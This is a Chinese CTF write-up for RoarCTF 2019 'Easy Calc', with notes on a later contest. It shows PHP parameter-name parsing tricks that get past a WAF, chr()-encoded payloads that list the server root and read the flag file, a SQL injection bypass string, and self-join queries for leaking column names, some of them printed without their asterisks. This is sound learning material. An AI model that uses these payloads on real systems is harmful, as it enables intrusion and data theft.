分类 CTF挨打集 下的文章

[RoarCTF 2019]Easy Calc
点开来是一个计算器,试了一下也确实是个计算器,看不懂,去摸wp

get到了一个新知识点

PHP会把获取到的字符串转换为$_GET或$_POST的值的时候,会对其进行处理,在解析的过程中将会对一些字符删除或者用下划线替代,如/?%20news[id%00=42会转换为Array([news_id] => 42),如果防范的规则是news_id参数的值是必须为数字,那么我们可以用下面的语句绕过

/news.php?%20news[id%00=42"+AND+1=0--

PHP在这里会做两件事:

1.删除空白字符
2.将某些字符转化为下划线(包括空格

下面是三种原始--编译--最终

User input       Decoded PHP       variable name
%20foo_bar%00     foo_bar           foo_bar            
foo%20bar%00      foo bar           foo_bar            
foo%5bbar         foo[bar           foo_bar     

avatar
avatar

可以看到,不同的位置有不同的字符可以达到一样的效果

就比如说对一个叫num的参数进行拦截,我写成? num,最后处理出来还是num,但是因为那个括号,waf又认不出来 num是num,所以不会拦截

这题抓包可以看到GET /calc.php?num=1 HTTP/1.1,说明是通过get方式来给这个num传参的,试了下http://node3.buuoj.cn:29326/calc.php?num=3*5,嗯,确实给出了结果

然后又是几个新知识点scandir() 列出目录中的文件和目录,var_dump()打印变量的相关信息,当字符被过滤的时候,可以考虑使用chr()转为ascii编码进行绕过

构造的payload:http://node3.buuoj.cn:29326/calc.php?%20num=var_dump(scandir(CHR(47)))

得到信息可以看到

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

这里面根目录有个叫f1agg的文件,然后用file_get_contents读出http://node3.buuoj.cn:29326/calc.php?%20num=var_dump(file_get_contents(CHR(47).CHR(102).CHR(49).CHR(97).CHR(103).CHR(103)))

参考文章:

https://www.freebuf.com/news/213359.html
https://blog.csdn.net/weixin_44077544/article/details/102630714

去国赛摸了一圈,被教做人

无列名注入,在不知道表中各列的列名情况下获取表列名信息(information那表给屏蔽了...),具体的原理是利用join

例子如下,一张表class里面有cno,cname,当然,我作为外来者我不知道这表的具体信息,只知道一个表名,想查表爆列名的时候发现被拦截了,这时候我可以考虑使用无列名注入

select from (select from class as a join class b)c;

然后就会被提示Duplicate column name 'cno'重复列名

如何获取其他的列名?

select from (select from class as a join class b using(cno))c;这里的using是以cno为关键词进行等值连接

另外看到有人说其他的一些表也可以代替information_schema,文章地址,但是我在比赛的时候试了一遍,这都不是被拦截的问题了,直接就是无权限.....